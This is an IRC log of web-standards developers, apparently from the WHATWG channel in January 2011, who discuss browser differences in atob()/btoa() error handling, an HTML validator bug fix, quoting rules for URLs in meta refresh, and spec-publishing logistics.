[07:48:01.0000] <annevk>
having thought about it some more I can't really see why any such script would not just use a.href rather than a.innerHTML

[07:59:00.0000] <annevk>
/me wonders if joining #html5 is worth it

[08:03:00.0000] <Workshiva>
/me wonders if that should be ##html5

[08:07:00.0000] <aho>
brendaneich, saw your proxies talk the other day. read the slides first, didn't really get it. it made a lot of sense when i finally saw the talk though. proxies are awesome indeed. :)

[08:13:00.0000] <annevk>
Workshiva, can channels start with a #?

[08:16:00.0000] <aho>
#javascript redirects to ##javascript for example

[08:16:01.0000] <annevk>
learned something today

[08:17:00.0000] <annevk>
I wish I had lots of time to read the IRC archives

[08:17:01.0000] <annevk>
would make a compilation of quotes from 2010 or so

[08:18:00.0000] <Philip`>
Ask Mr Last Week to do it, he seems to have plenty of spare time to read the logs

[08:19:00.0000] <Philip`>
Hmm, now his blog says "Some readers of this blog have contacted Google because they believe this blog's content is objectionable. In general, Google does not review nor do we endorse the content of this or any blog."

[08:22:00.0000] <annevk>
well, last I checked the stuff he highlights is only borderline relevant to what I would like to extract

[09:05:00.0000] <Rik`>
http://html5.com weirdly redirects to http://www.apple.com/html5/

[09:05:01.0000] <Rik`>
I can't remember if it always did that

[09:08:00.0000] <annevk>
no, I guess Apple bought it

[09:08:01.0000] <annevk>
maybe I should have taken it when it was still free

[09:09:00.0000] <Rik`>
domains owned by apple (i've checked apple.com and itunes.com) seems to have more info in whois data

[09:10:00.0000] <annevk>
(It was free, then taken by some other party that did not do anything. They offered it for some amount and I was not interested. I guess then this happened.)

[09:33:00.0000] <Philip`>
Too late to get html6.com already

[09:34:00.0000] <Philip`>
Looks like html11.com is free, if you want to plan that far ahead

[09:38:00.0000] <annevk>
I wonder if Microsoft owns htmlnext

[09:38:01.0000] <annevk>
oh free http://whois.domaintools.com/htmlnext.com

[09:48:00.0000] <bga_>
Philip` http://html6.by.ru/ :)

[09:50:00.0000] <annevk>
I would mostly like html.org

[09:50:01.0000] <annevk>
everything with 5 in the name is just temporary

[09:51:00.0000] <annevk>
(naming html5lib html5lib was also not very forwardlooking)

[09:54:00.0000] <Philip`>
html5lib is a misleading name because it doesn't implement support for geolocation or CSS3 at all

[10:25:00.0000] <hober>
annevk: here's the job description: http://jobs.apple.com/index.ajs?BID=1&method=mExternal.showJob&RID=50510&CurrentPage=1

[10:25:01.0000] <hober>
annevk: now you have as much of an idea about what I'll be working on as I do :)

[10:33:00.0000] <othermaciej>
Safari team still has openings, if anyone wants more where that came from

[10:57:00.0000] <dglazkov>
.. and so does Chrome team :P

[11:14:00.0000] <dbaron>
/me wishes he didn't miss interesting threads due to their having the subject line "Re: [whatwg] whatwg Digest, Vol 82, Issue 10"

[11:42:00.0000] <Hixie>
hsivonen: O-of-billions, but it was a long time ago now

[11:42:01.0000] <Hixie>
hsivonen: though I still have a framed printout of one of the pages I found stuck to my fridge

[11:43:00.0000] <Hixie>
what's more interesting than the number of pages scanned is the fraction of pages that had issues

[11:43:01.0000] <Hixie>
iirc the number was small, but non-zero

[11:44:00.0000] <Hixie>
the list of elements in the spec has html comments in the source listing which elements were found to be problematic and which were added just for completeness and to make writing parsers easier

[11:44:01.0000] <Hixie>
(e.g. iirc h1 was a problem but h6 probably wasn't, but someone asked that they be treated the same to make parsers simpler)

[11:55:00.0000] <AryehGregor>
How can I throw a DOMException from JavaScript code?

[11:56:00.0000] <Hixie>
i don't think you car

[11:56:01.0000] <Hixie>
can

[11:56:02.0000] <AryehGregor>
Hmm, okay.

[11:56:03.0000] <Hixie>
ask ms2ger to give you a constructor on DOMException :-)

[12:10:00.0000] <AryehGregor>
Yay, atob() has totally different error handling in different browsers.

[12:19:00.0000] <Hixie>
figures

[12:20:00.0000] <Hixie>
as a general rule, I tend to prefer majority implementations, biased slightly towards market share, and biased slightly against sillyness

[12:20:01.0000] <Hixie>
if that helps

[12:23:00.0000] <karlcow>
not sure to understand http://www.w3.org/html/wg/tracker/issues/149 for the examples. Is the change proposal to write all the examples, or to say that the examples have to be changed.

[12:42:00.0000] <Hixie>
benschwarz: btw, while you're doing the developers.whatwg.org stuff, if you come across anything in the spec that is mis-labeled (class=impl when it shouldn't be, or vice versa, or something that just plain is more confusing in the author case for some reason), then don't hesitate to let me know so i can fix it

[12:47:00.0000] <AryehGregor>
So, the breakdown is as follows: 1) Opera is super-lenient, and never throws.  2) Firefox is very strict, and atob() throws for most if not all things that btoa() can't produce (e.g., wrong number of trailing =).  3) WebKit is moderately strict, and throws only if the atob() input contains an invalid character or has an = except in a run at the end or has length 1 mod 4 after stripping trailing =.  4) IE9 is completely insane and I have no id

[12:47:01.0000] <AryehGregor>
ea what it's doing, my entire test suite now fails (mostly with the error "'atob'/'btoa' is undefined").

[12:47:02.0000] <AryehGregor>
Opinions?

[12:48:00.0000] <AryehGregor>
WebKit is the least intuitive, since it tolerates some errors but not others.  I'm not sure whether strict errors are good or bad here, so I guess if it's a toss-up between Firefox and Opera, Firefox wins by market share.

[12:48:01.0000] <AryehGregor>
But I'm generally inclined to think that it's nicer to be tolerant.

[12:49:00.0000] <AryehGregor>
On a side note, IE9 thinks btoa("") is invalid, and it's not totally clear that's wrong from the RFC (since that's vague), so I'm leaning toward writing my own btoa() spec text.

[12:53:00.0000] <AryehGregor>
WebKit also doesn't like strings that consist only of ='s.

[12:53:01.0000] <AryehGregor>
I think I'll go with Firefox for now.

[12:53:02.0000] <gsnedders>
AryehGregor: Never throwing causes site-compat issues, FYI

[12:53:03.0000] <AryehGregor>
Ah, okay.

[12:53:04.0000] <AryehGregor>
That settles it.

[12:57:00.0000] <AryehGregor>
Actually, Firefox doesn't throw errors for everything you might expect.

[12:57:01.0000] <AryehGregor>
So I think I'll go with WebKit, since it throws in fewer cases and therefore is simpler to spec and implement.

[12:57:02.0000] <gsnedders>
/me looks in a, "do I want to know?" sort of way

[12:59:00.0000] <jgraham>
gsnedders: I thought you knew everything

[13:00:00.0000] <AryehGregor>
But maybe WebKit isn't web-compatible either . . . hmm.

[13:00:01.0000] <AryehGregor>
/me looks in their Bugzilla

[13:02:00.0000] <AryehGregor>
Hixie, any suggestions?  I think WebKit's behavior is simpler to spec, but perhaps it's less site-compatible.

[13:03:00.0000] <Hixie>
AryehGregor: hard to say

[13:03:01.0000] <Hixie>
AryehGregor: any idea what IE is doing?

[13:03:02.0000] <Hixie>
(i feel your pain, when it comes to debugging IE)

[13:03:03.0000] <AryehGregor>
Hixie, I was trying to test IE9 before, but now something I did in my test suite causes it to fail all tests with cryptic error messages.

[13:03:04.0000] <AryehGregor>
I'll try doing more limited debugging and see if I can work out what it does, though.

[13:04:00.0000] <Hixie>
weird

[13:04:01.0000] <Hixie>
also try IE8, maybe it's just an IE9 beta bug

[13:04:02.0000] <AryehGregor>
The test framework doesn't even work in IE8.

[13:04:03.0000] <Hixie>
that's problematic :-)

[13:04:04.0000] <AryehGregor>
It's possible that the actual IE bug is in ES5 features or something, since I don't really know what parts of JavaScript are new or whatever.

[13:05:00.0000] <Hixie>
from your descriptions, it sounds like webkit is the sanest, but it also sounds like you might have some room to try to come up with something more logical than anyone currently implements

[13:05:01.0000] <AryehGregor>
I don't think we need to care so much about IE, to be honest . . . it's usually in different code paths and it's already committed to breaking compat on every release with compatibility mode.

[13:05:02.0000] <Hixie>
you'd be surprised how many pages just assume IE and don't have other code paths

[13:06:00.0000] <Hixie>
but that's more about IE6 or 7 than IE9

[13:06:01.0000] <Hixie>
remember that the goal is for the spec to be compatible with legacy content, not legacy UAs

[13:10:00.0000] <AryehGregor>
Okay, IE9 is giving "'btoa' is undefined" for no discernible reason.

[13:10:01.0000] <aho>
lameness

[13:11:00.0000] <aho>
that's the reason :v

[13:11:01.0000] <Hixie>
gotta go for lunch, but i can try to help out when i get back

[13:14:00.0000] <AryehGregor>
In compat mode I get "Object expected" instead.

[13:14:01.0000] <AryehGregor>
I know btoa() exists in IE, I was using it before . . .

[13:14:02.0000] <AryehGregor>
/me will return to this in an hour or two

[13:16:00.0000] <AryehGregor>
Does Microsoft have any official documentation for their JavaScript function implementation . . . ?

[13:17:00.0000] <AryehGregor>
This is just slightly incomplete: http://msdn.microsoft.com/en-us/library/6fw3zxcx(v=VS.94).aspx

[13:20:00.0000] <webr3>
is the paste event standardized/ing ?

[13:48:00.0000] <Hixie>
webr3: not yet, but we really should

[13:51:00.0000] <webr3>
hixie, best place to nudge re paste event (and aligning w/ drag and drop, and aligning TextInput event which seems to differ, and correlations to input event)

[13:51:01.0000] <Hixie>
nowhere useful to nudge, we don't have an editor for it

[13:51:02.0000] <webr3>
for events 3?

[13:51:03.0000] <Hixie>
for copy/paste

[13:52:00.0000] <Hixie>
imho dom events should just define the events model, not the actual events

[13:52:01.0000] <Hixie>
almost every event it tries to define it gets wrong somehow

[13:52:02.0000] <Hixie>
or duplicates requirements elsewhere, or doesn't specify in enough detail for interop, etc

[13:53:00.0000] <webr3>
have to agree there, either the place for all events, or just the model, but if all it'd have to be more of a registry.. would be god to have a central place to look them all up and ensure they were all aligned when being defined though

[13:54:00.0000] <Hixie>
events can't sanely be specced in a registry

[13:54:01.0000] <Hixie>
events are like exceptions

[13:54:02.0000] <Hixie>
how they fire is deeply integrated with the things they are talking about

[13:54:03.0000] <Hixie>
the place to spec them is in the processing model for the relevant feature

[13:54:04.0000] <Hixie>
doesn't make sense to spec them separately

[13:54:05.0000] <webr3>
at some level surely they can, for instance ensuring certain properties existed on all events of type input etc

[13:55:00.0000] <webr3>
it'll be even more of a pita if every single event has a different interface for the properties

[13:55:01.0000] <Hixie>
the interfaces can be specced wherever, those are almost trivial

[13:55:02.0000] <Hixie>
i'm talking about the rules for when the events fire

[13:57:00.0000] <webr3>
gotcha, i was talking more about the methods and properties on certain classes of event and ensuring they were aligned, .data vs .getData vs .clipboardData.getData(), with types without and so forth

[13:58:00.0000] <Hixie>
getting them all aligned is mostly a lost cause, but yeah, for the simpler interfaces i'm fine with dom events speccing them -- there's not much to spec, the attributes are readonly and just return what the initialisers were given and there are no methods

[13:58:01.0000] <Hixie>
other than the initialisers

[14:00:00.0000] <AryehGregor>
Can anyone please explain to me why http://aryeh.name/tmp/test.html in IE9 doesn't work?

[14:01:00.0000] <Hixie>
put a letter before the <script> to make sure it ends up in the body

[14:01:01.0000] <AryehGregor>
It won't work in the head?

[14:01:02.0000] <Hixie>
dunno, but try

[14:01:03.0000] <AryehGregor>
No difference.

[14:01:04.0000] <AryehGregor>
For those who don't want to view source, it was: <!doctype html><script>alert(btoa("test"));</script>

[14:01:05.0000] <AryehGregor>
Console gives error "'btoa' is undefined".

[14:02:00.0000] <Hixie>
what does alert(window.btoa) give ?

[14:02:01.0000] <AryehGregor>
undefined . . .

[14:02:02.0000] <AryehGregor>
Surely IE can't just not implement these?  Some of the tests passed before.

[14:02:03.0000] <Hixie>
try removing the doctype?

[14:02:04.0000] <AryehGregor>
Still undefined.

[14:03:00.0000] <webr3>
i didn't even know btoa and atob were standardized :|

[14:03:01.0000] <AryehGregor>
They aren't, that's what I'm doing.

[14:03:02.0000] <webr3>
lol, that explains it

[14:04:00.0000] <AryehGregor>
Okay, it really is behaving as though btoa() and atob() aren't defined.

[14:04:01.0000] <AryehGregor>
But I could swear it wasn't before . . .

[14:04:02.0000] <Hixie>
the web suggests it's not supported in IE

[14:07:00.0000] <AryehGregor>
Well, that explains why I was so confused.

[14:08:00.0000] <AryehGregor>
So I guess I'll spec what Firefox does.

[14:13:00.0000] <Hixie>
seems reasonable

[14:17:00.0000] <annevk>
I was gonna sleep, but then I read the logs...

[14:17:01.0000] <annevk>
hallvors is speccing copy/paste

[14:17:02.0000] <Hixie>
oh, cool

[14:17:03.0000] <annevk>
I think he already posted on public-webapps, will soonish be an official draft

[14:18:00.0000] <Hixie>
let's add it to http://wiki.whatwg.org/wiki/Specifications_that_apply_to_Web_browsers

[14:20:00.0000] <webr3>
annevk, cool ty for answer

[14:20:01.0000] <annevk>
http://thedailywtf.com/Articles/XMLd-XML.aspx o_O

[14:21:00.0000] <Hixie>
annevk: is there a link to hallvors' draft spec?

[14:21:01.0000] <annevk>
Hixie, did you see http://wiki.whatwg.org/wiki/Specs ?

[14:21:02.0000] <annevk>
Hixie, it's not checked in yet I think

[14:21:03.0000] <Hixie>
annevk: yeah, all that information is on the other page now. Saw Specs too late, sorry.

[14:21:04.0000] <annevk>
http://lists.w3.org/Archives/Public/public-webapps/2010OctDec/att-1067/cbapispec.html is the public one

[14:21:05.0000] <annevk>
I mean latest published in public

[14:21:06.0000] <Hixie>
why doesn't he edit it live

[14:21:07.0000] <annevk>
he probably does

[14:22:00.0000] <Hixie>
stop working on secret specs people, edit it all liiiiveee :-P

[14:22:01.0000] <annevk>
but I don't think he's a W3C account and all yet

[14:22:02.0000] <annevk>
or a personal website

[14:22:03.0000] <annevk>
but I don't know for sure

[14:22:04.0000] <Hixie>
i guess i should make /Specs redirect to the other page now

[14:22:05.0000] <annevk>
wfm

[14:23:00.0000] <annevk>
though yours has a long name...

[14:23:01.0000] <Hixie>
well if it's a redirect the other one will work fine too :-)

[14:23:02.0000] <Hixie>
there

[14:23:03.0000] <Hixie>
http://wiki.whatwg.org/wiki/Specs

[14:24:00.0000] <annevk>
I like how it has links to discussion / bugs / etc.

[14:24:01.0000] <Hixie>
feedback and bugs are the two links i actually wanted that page for

[14:24:02.0000] <Hixie>
feedback, mainly

[14:25:00.0000] <annevk>
I created Specs mostly because I lost track of where the spec was hosted

[14:25:01.0000] <annevk>
but the formatting was way complex

[14:25:02.0000] <annevk>
well, wiki editing is way complex

[14:26:00.0000] <Hixie>
yeah, wiki tables are a pain

[14:28:00.0000] <Hixie>
we should clean up http://wiki.whatwg.org/wiki/Companion_specifications to make sure the stuff with editors is on the /Specs page now and remove it from the Companion page

[15:20:00.0000] <_bga>
http://visual6502.org/JSSim/index.html

[15:26:00.0000] <MikeSmith>
hsivonen: I remember now that the reason I implemented the unclosed-element reporting using additional lists instead of just putting the locators on the stack nodes

[15:27:00.0000] <MikeSmith>
the reason was, to have a way to essentially keep state about which unclosed elements had already been reported

[15:28:00.0000] <MikeSmith>
because without that, many or most unclosed element instances cause duplicate error messages to be emitted

[15:39:00.0000] <benschwarz>
Hixie: Roger.

[15:52:00.0000] <Evet>
is it possible to build RIAs for ie 5.5+?


2011-01-06
[16:02:00.0000] <_bga>
Evet its hell but yes, its possible

[16:02:01.0000] <_bga>
you will have tons of fallbacks and workarounds

[16:03:00.0000] <_bga>
ie5.5 hasnt even Function#apply

[16:04:00.0000] <hober>
hsivonen: just got an Internal Error on validator.nu

[16:04:01.0000] <Rik`>
why build for ie 5.5 ? it's dead nowadays

[16:04:02.0000] <hober>
hsivonen: http://html5.validator.nu/?doc=http%3A%2F%2Fspaceup.org%2Fsandiego%2Fsponsors%2F

[16:06:00.0000] <Evet>
there must be some people using ie 5.5

[16:07:00.0000] <Rik`>
Evet: yes but there are also some people using lynx or netscape 3

[16:07:01.0000] <_bga>
/me <3 console browsers

[16:08:00.0000] <Evet>
shouldnt i consider ie 5.5 users?

[16:08:01.0000] <Rik`>
Evet: I don't think you should

[16:08:02.0000] <Rik`>
except if you're working for an intranet tool

[16:11:00.0000] <Rik`>
Evet: http://marketshare.hitslink.com/browser-market-share.aspx?qprid=2

[16:12:00.0000] <Rik`>
if you look there, there is no sign of IE 5.5

[16:12:01.0000] <Evet>
interesting

[16:13:00.0000] <Evet>
microsoft forces windows users to upgrade to 6.0?

[16:13:01.0000] <Rik`>
I don't remember the why, but IE 5.5 is just dead

[16:13:02.0000] <Philip`>
I think XP ships with 6.0, and approximately nobody uses anything older than that

[16:14:00.0000] <Philip`>
(Any older Windows, I mean)

[16:15:00.0000] <MikeSmith>
hober: got a test case I can try?

[16:15:01.0000] <MikeSmith>
(for that validator error)

[16:16:00.0000] <Rik`>
Evet: I think Philip` is right, http://en.wikipedia.org/wiki/Internet_Explorer_6

[16:16:01.0000] <MikeSmith>
oh

[16:16:02.0000] <Evet>
oh, it was released in 2001

[16:17:00.0000] <MikeSmith>
/me notices hober link

[16:17:01.0000] <MikeSmith>
ah cool

[16:18:00.0000] <MikeSmith>
was able to reproduce it

[16:18:01.0000] <MikeSmith>
java.lang.NullPointerException in the IRI checker

[16:20:00.0000] <MikeSmith>
oops

[16:21:00.0000] <MikeSmith>
cause is some code I added recently to check for non-empty IRIs

[16:21:01.0000] <hober>
ahh

[16:21:02.0000] <MikeSmith>
but without checking for null before I do the non-emptiness check

[16:22:00.0000] <MikeSmith>
(fixing it now)

[16:23:00.0000] <hober>
rad

[16:25:00.0000] <Evet>
http://www.amplesdk.com/about/compatibility/

[16:25:01.0000] <Evet>
it means, HTML5 even in IE 5.5+?

[16:26:00.0000] <benschwarz>
Hixie: Where can I get what you'd consider "input" for the author-spec?

[16:27:00.0000] <benschwarz>
I want to generate a working copy here

[16:29:00.0000] <_bga>
Evet IE has very good abilities of extension. i mean 'behaviour, css expressions, filters, ...'. You can emulate any new api and spec using this features

[16:38:00.0000] <MikeSmith>
hober: fix checked in - https://bitbucket.org/validator/syntax/changeset/3b2c143408d2

[16:39:00.0000] <MikeSmith>
will probably get pushed to validator.nu some time this week or next when hsivonen

[16:39:01.0000] <benschwarz>
Morning folks

[16:39:02.0000] <MikeSmith>
*hsivonen reploys

[16:40:00.0000] <MikeSmith>
damn

[16:40:01.0000] <MikeSmith>
re-deploys

[16:40:02.0000] <MikeSmith>
he benschwarz

[16:40:03.0000] <MikeSmith>
are you mobile?

[16:40:04.0000] <MikeSmith>
as in , able to walk around?

[16:40:05.0000] <benschwarz>
I can walk, but very stiff and sore

[16:40:06.0000] <benschwarz>
Fluid on the knee :/

[16:41:00.0000] <MikeSmith>
ouch

[16:41:01.0000] <hober>
MikeSmith: thanks!

[16:41:02.0000] <MikeSmith>
hober: thanks for catching it

[16:42:00.0000] <AryehGregor>
What does this "function() { atob(input) } threw with code INVALID_CHARACTER_ERR (5) expected INVALID_CHARACTER_ERR (5)" error in Firefox and Opera mean?  It's confusing me.  I'm told it's unrelated, so perhaps I shouldn't worry about it . . . http://aryeh.name/tests-root/tests/submission/AryehGregor/base64.html

[16:43:00.0000] <AryehGregor>
But at least the reporting framework could surely have a clearer error message.

[16:43:01.0000] <AryehGregor>
/me pings jgraham 

[16:43:02.0000] <MikeSmith>
hober: fwiw, there appear to be no other errors on that page

[16:43:03.0000] <gsnedders>
jgraham is asleep.

[16:44:00.0000] <MikeSmith>
(other than the one about the profile attribute)

[16:44:01.0000] <MikeSmith>
http://www.w3.org/html/check?doc=http%3A%2F%2Fspaceup.org%2Fsandiego%2Fsponsors%2F

[16:44:02.0000] <MikeSmith>
http://www.w3.org/html/check runs whatever code I currently have in my workspace

[16:45:00.0000] <MikeSmith>
which includes changes that Henri or I have committed but that may not have gotten deployed at validator.nu yet, as well as changes that I've not committed yet

[16:46:00.0000] <MikeSmith>
so it's not stable

[16:46:01.0000] <MikeSmith>
but it's useful for testing

[16:47:00.0000] <MikeSmith>
hsivonen: btw, http://www.w3.org/html/check?doc=data%3Atext%2Fhtml%3Bcharset%3Dutf-8%2C%3C%21DOCTYPE%2520html%3E%250A%3Ctitle%3E%3C%252Ftitle%3E%250A%3Cp%3E%3Cb%3E%3Ci%3E%3C%252Fp%3E%250A

[16:47:01.0000] <MikeSmith>
(which shows the duplicate error reports problem I mentioned)

[16:54:00.0000] <Evet>
do you recommend any specific IDE to use with Ample SDK?

[16:57:00.0000] <MikeSmith>
benschwarz: input for the author view of the spec would be either http://svn.whatwg.org/webapps/complete.html or http://svn.whatwg.org/webapps/index

[16:57:01.0000] <MikeSmith>
I think

[16:57:02.0000] <MikeSmith>
or both

[16:59:00.0000] <MikeSmith>
depending on whether you want the author view to be of the HTML5 subset or of the full version that includes Workers, etc.

[17:01:00.0000] <MikeSmith>
or you could just use http://www.whatwg.org/specs/web-apps/current-work/complete.html or http://www.whatwg.org/specs/web-apps/current-work/index

[17:02:00.0000] <Evet>
_bga: may i pm you?

[17:02:01.0000] <_bga>
yes

[17:10:00.0000] <benschwarz>
MikeSmith: Single page vs Multi ?

[17:12:00.0000] <MikeSmith>
benschwarz: I think what you need to do is use the single page as source to generate the author view, then run the spec splitter on your output to generate for the multi-page author view

[17:12:01.0000] <benschwarz>
MikeSmith: How complicated :)

[17:13:00.0000] <MikeSmith>
would be much more complicated to use the multi-page version as your source

[17:13:01.0000] <MikeSmith>
the spec splitter is actually really quite fast

[17:14:00.0000] <MikeSmith>
and it handles re-writing URLs for all the inter-file links

[17:14:01.0000] <MikeSmith>
among other things

[17:16:00.0000] <MikeSmith>
anyway, I think all that your build needs to do is take the full source, run some kind of filter on it to remove the class=impl parts, save that as the file that'll be the single-page author view, then run the spec splitter on that file to generate the multi-page view

[17:18:00.0000] <MikeSmith>
plus whatever other tweaks you might want to also have the filer to do add any additional intro stuff or whatever that you want to be specific to the author view

[17:19:00.0000] <AryehGregor>
I think I really do have to specify the base64 decoding algorithm.

[17:38:00.0000] <AryehGregor>
Okay, comments requested again: http://aryeh.name/tmp/spec.html

[17:43:00.0000] <AryehGregor>
Hixie, oh, should I put Google copyright notices on the tests I submit or something like that?

[17:44:00.0000] <AryehGregor>
Also, I wonder if I should put them in the Google/ directory instead of AryehGregor/.  Seems kind of silly, it's not like I'm working with any actual Google employees here.

[17:44:01.0000] <jamesr_>
AryehGregor: are we giving you $$$?

[17:45:00.0000] <AryehGregor>
/me supposes it makes no difference if he puts copyright notices or not

[17:45:01.0000] <AryehGregor>
jamesr_, yeah, but as a vendor, since I didn't want to start a full-time job just yet.

[17:45:02.0000] <jamesr_>
it

[17:46:00.0000] <jamesr_>
depending on where you are and blah blah blah it's probably work for hire then which means the copyright belongs to the party supplying the $$$

[17:46:01.0000] <AryehGregor>
It was specified that the copyright would belong to Google, I just wonder whether I need to bother with notices or whatever.

[17:47:00.0000] <AryehGregor>
The tests in Google/ don't have them, so I won't.

[18:59:00.0000] <MikeSmith>
http://www.flock.com/node/162703

[18:59:01.0000] <MikeSmith>
Zynga aquiring Flock

[21:05:00.0000] <artenix>
First time here. Hello all.

[21:07:00.0000] <artenix>


[21:09:00.0000] <MikeSmith>
artenix: hi

[21:09:01.0000] <MikeSmith>
it's pretty quiet here this time of day

[21:10:00.0000] <MikeSmith>
off hours for Americas and Europe

[21:12:00.0000] <wirepair>
anyone else from here happen to be going to: http://www.owasp.org/index.php/Summit_2011#tab=Working_Sessions

[21:13:00.0000] <artenix>
It is 11.15 pm here. I'm looking for the differences between HTML5 and 4

[21:13:01.0000] <MikeSmith>
artenix: http://dev.w3.org/html5/html4-differences/

[21:13:02.0000] <wirepair>
http://dev.w3.org/html5/html4-differences/

[21:13:03.0000] <wirepair>
beat me :/

[21:13:04.0000] <wirepair>
ehe

[21:13:05.0000] <MikeSmith>
heh

[21:14:00.0000] <MikeSmith>
what is owasp?

[21:14:01.0000] <wirepair>
open web application security

[21:14:02.0000] <wirepair>
basically a commitee for web application security

[21:14:03.0000] <MikeSmith>
ah

[21:14:04.0000] <MikeSmith>
cool

[21:14:05.0000] <wirepair>
but looks like this year gettign some representation from the browser community

[21:14:06.0000] <wirepair>
i see 5 people or so from mozilla attending

[21:15:00.0000] <wirepair>
more and more web app + browser security is becoming entwined

[21:15:01.0000] <MikeSmith>
where's the attendee list?

[21:15:02.0000] <wirepair>
http://www.owasp.org/index.php/Summit_2011#tab=Attendees_And_Sponsors

[21:15:03.0000] <artenix>
Tnx both of you. I will read it. Is W3C HTML5 final spec spected on 2011?

[21:15:04.0000] <wirepair>
ah. MS people as well

[21:16:00.0000] <MikeSmith>
artenix: the spec development is ongoing and will continue to be refined after we start in earnest on a test suite

[21:17:00.0000] <MikeSmith>
and as the implementations get refined

[21:17:01.0000] <MikeSmith>
there's not much point in focusing on the finality of the spec

[21:18:00.0000] <MikeSmith>
the important milestones are really around what actually gets implemented across browsers

[21:19:00.0000] <artenix>
cool. implementations are always better than documents :-)

[21:19:01.0000] <MikeSmith>
yeah

[21:19:02.0000] <MikeSmith>
wirepair: you might encourage abarth to attend if he's not planning to already

[21:19:03.0000] <wirepair>
i don't really know him personally, but if i see him on irc i'll /msg him :)

[21:20:00.0000] <wirepair>
but yeah it would be good to have him there i think

[21:20:01.0000] <abarth>
i'm here on IRC :)

[21:20:02.0000] <wirepair>
oh hi :)

[21:21:00.0000] <wirepair>
so, every year there is a web application summit hosted by owasp, this year there is some representation from the browser community

[21:21:01.0000] <wirepair>
in particular microsoft and mozilla

[21:21:02.0000] <abarth>
(reading the wiki)

[21:21:03.0000] <wirepair>
if you're interested i could shoot over an email to justin clarke who is as far as i know organizing this

[21:22:00.0000] <artenix>
I'm from México, programmed before HTML 4 and XML, and want to see a giant leap on Web apps. kudos for WHATWG.

[21:22:01.0000] <abarth>
in general, i'm trying to travel less these days

[21:22:02.0000] <abarth>
sounds cool though

[21:22:03.0000] <wirepair>
yeah, it's in lisbon so.. kind of a hike

[21:23:00.0000] <Hixie>
AryehGregor: make it all public domain so that there's no restriction on who can reuse it or how

[21:23:01.0000] <MikeSmith>
artenix: hanging out on this channel is a great way to get up to speed

[21:23:02.0000] <Hixie>
AryehGregor: google has no interest in owning the copyright on standards stuff, we just want to have them exist so we get better interop

[21:23:03.0000] <MikeSmith>
the #html5 channel as well

[21:23:04.0000] <artenix>
Time to read, have nice day

[21:23:05.0000] <MikeSmith>
artenix: vaya con dios

[21:24:00.0000] <artenix>
Will visit html5 then.

[21:24:01.0000] <artenix>
S/then/too

[21:24:02.0000] <artenix>
Mike Spanish?

[21:25:00.0000] <MikeSmith>
artenix: that's about all the Spanish I know

[21:25:01.0000] <artenix>
HTML5 es grandioso = HTML5 is great. :-) see you all

[21:26:00.0000] <MikeSmith>
cheers

[21:27:00.0000] <MikeSmith>
Hixie: would be interested in knowing if you have thoughts about http://www.w3.org/Bugs/Public/show_bug.cgi?id=11597 at this point

[21:27:01.0000] <Hixie>
/me looks

[21:28:00.0000] <Hixie>
' is a valid URL?!

[21:28:01.0000] <MikeSmith>
yup

[21:28:02.0000] <MikeSmith>
wacky

[21:28:03.0000] <Hixie>
you have got to be kidding me

[21:28:04.0000] <MikeSmith>
heh

[21:29:00.0000] <Hixie>
is " allowed also?

[21:29:01.0000] <MikeSmith>
yeah

[21:29:02.0000] <wirepair>
hu, i didn't know that

[21:29:03.0000] <Hixie>
are you sure?

[21:30:00.0000] <Hixie>
that seems seriously wacked

[21:30:01.0000] <Hixie>
even for, you know, the uri spec

[21:30:02.0000] <MikeSmith>
I am pretty sure

[21:30:03.0000] <MikeSmith>
I discussed it with Julian earlier

[21:30:04.0000] <MikeSmith>
which is what resulted in that bug getting raised

[21:31:00.0000] <MikeSmith>
I'm interested because I want to add additional checking to the validator for the case of " or ' in the url part of meta refresh

[21:32:00.0000] <Hixie>
commented on the bug

[21:32:01.0000] <MikeSmith>
the proposal of adding a new "valid optionally quoted URL" microsyntax seems sound

[21:32:02.0000] <MikeSmith>
/me reads bug comment

[21:32:03.0000] <wirepair>
just out of curiousity, what characters *are* invalid?

[21:33:00.0000] <MikeSmith>
…but  "...a valid URL that does not contain any literal U+0027APOSTROPHE (') or U+0022 QUOTATION MARK (") characters" wfm too

[21:33:01.0000] <MikeSmith>
wirepair: whitespace

[21:33:02.0000] <Hixie>
if there are other places that do this, then yeah... are there?

[21:34:00.0000] <Hixie>
there's all kinds of things that are invalid in various parts of URLs

[21:34:01.0000] <zcorpan>
MikeSmith: it should be ok to do URL='foo"bar' or URL="foo'bar"

[21:35:00.0000] <MikeSmith>
zcorpan: why would somebody want to do that?

[21:35:01.0000] <MikeSmith>
the bar is just going to be ignored

[21:35:02.0000] <zcorpan>
MikeSmith: no it's isn't

[21:35:03.0000] <MikeSmith>
it is if it's in the refresh value

[21:36:00.0000] <MikeSmith>
which is the only case I care about at the moment

[21:36:01.0000] <zcorpan>
no it isn't  :)

[21:37:00.0000] <MikeSmith>
zcorpan: so Julian's description in that bug is wrong, then?

[21:37:01.0000] <zcorpan>
MikeSmith: no

[21:37:02.0000] <MikeSmith>
oh

[21:37:03.0000] <zcorpan>
MikeSmith: Julian's case is 'foo'bar'

[21:37:04.0000] <MikeSmith>
yeah, I see, different case

[21:38:00.0000] <MikeSmith>
so Julian's proposal of adding a new "valid optionally quoted URL" microsyntax seems better than "...a valid URL that does not contain any literal U+0027 APOSTROPHE (') or U+0022 QUOTATION MARK (") characters"

[21:39:00.0000] <Hixie>
having a microsyntax for one case is dumb :-)

[21:41:00.0000] <zcorpan>
the spec should just ban " and ' as the first character of the URL

[21:41:01.0000] <Hixie>
that'd be fine too

[21:41:02.0000] <MikeSmith>
that also would work fine for me too

[21:41:03.0000] <zcorpan>
since currently it doesn't try to make quoted url conforming

[21:41:04.0000] <MikeSmith>
easy to implement

[21:42:00.0000] <Hixie>
commented again to that effect

[21:42:01.0000] <MikeSmith>
thanks

[21:43:00.0000] <benschwarz>
Hixie: I don't have permissions to read from the directory that you pointed me to

[21:44:00.0000] <Hixie>
oh, right

[21:44:01.0000] <Hixie>
just grab it from the website i guess

[21:45:00.0000] <benschwarz>
http://svn.whatwg.org/webapps/, index, right?

[21:45:01.0000] <Hixie>
the most reliable URL to grab from is http://www.whatwg.org/specs/web-apps/current-work/

[21:45:02.0000] <Hixie>
(same file, but sometimes svn goes down)

[21:46:00.0000] <Hixie>
(whereas if the other url is down, nothing is gonna work on developers.whatwg.org either :-) )

[21:46:01.0000] <benschwarz>
Hixie: single file html?

[21:46:02.0000] <benschwarz>
I thought we were going to aim for the multiple file version?

[21:46:03.0000] <Hixie>
yup

[21:47:00.0000] <benschwarz>
ok.

[21:47:01.0000] <Hixie>
oh i assumed your build makefile thing did the splitting

[21:47:02.0000] <Hixie>
there's a script philip` set up that does the splitting if you need it

[21:48:00.0000] <benschwarz>
